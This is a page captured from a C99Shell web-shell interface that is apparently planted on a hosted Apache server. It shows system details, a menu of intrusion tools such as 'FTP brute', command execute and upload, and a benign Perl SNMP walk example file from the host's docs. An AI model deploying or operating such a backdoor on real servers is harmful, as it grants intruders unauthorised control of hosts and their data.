!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-SNMP_Session/test/   drwxr-xr-x
Free 6181.82 GB of 6263.02 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     snmpwalkh.pl (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
#
# File_________: snmpwalkh_test.pl
# Date_________: 12.11.2001
# Author_______: Laurent Girod  / Philip Morris Products S.A. / Neuchatel / Switzerland
# Description__: Example of uses of the new snmpwalkhash function in SNMP_util
#                With snmpwalkhash, you can customize as you like your
#                results, in a hash of hashes,
#                by oid names, oid numbers, instances, like:
#                   $hash{$host}{$name}{$inst} = $value;
#                   $hash{$host}{$oid}{$inst} = $value;
#                   $hash{$name}{$inst} = $value;
#                   $hash{$oid}{$inst} = $value;
#                   $hash{$oid.'.'.$inst} = $value;
#                   $hash{$inst} = $value;
#                   ...
# Needed_______: ActiveState Perl 620 from www.perl.com
# Modifications: 
#
########################################################################################################

use BER;
use SNMP_util "0.90";

$BER::pretty_print_timeticks = 0;    # Uptime in absolute value

my $host = shift @ARGV || &usage;
my $community = shift @ARGV || 'public';
&usage if $#ARGV >= 0;
$host = "$community\@$host" if !($host =~ /\@/);

#
#    Example 1: 
#
my $oid_name = 'system';

print "\nCollecting [$oid_name]\n";
@ret = &snmpwalk($host, $oid_name);
foreach $desc (@ret) {
    ($oid, $desc) = split(':', $desc, 2);
    print "$oid = $desc\n";
}

#
#    Example 2: snmpwalk
#
my @oid_names = ('ifType', 'ifMtu', 'ifSpeed', 'ifPhysAddress',);
    
print "\nCollecting ";
map { print "[$_]\t" } @oid_names;
print "\n";

@ret = &snmpwalk($host, @oid_names);
foreach $desc (@ret) {
    ($oid, $desc) = split(':', $desc, 2);
    print "$oid = $desc\n";
}

#
#    Example 3: snmpwalkhash
#

my %ret_hash = &snmpwalkhash($host, \&my_simple_hash, @oid_names);
foreach $oid (keys %ret_hash)
{
    foreach my $inst (sort { $a <=> $b } keys %{$ret_hash{$oid}})
    {
        printf("%15s %3s = %s\n", $oid, $inst, $ret_hash{$oid}{$inst});
    }
}

sub my_simple_hash
{
    my ($h_ref, $host, $name, $oid, $inst, $value) = @_;
    $inst =~ s/^\.+//;
    if ($name =~/ifPhysAddress/)
    {
        my $mac = '';
        map { $mac .= sprintf("%02X",$_) } unpack "CCCCCC", $value;
        $value = $mac;
    }
    $h_ref->{$name}->{$inst} = $value;
}

sub usage
{
    die "usage: $0 hostname [community]";
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0106 ]--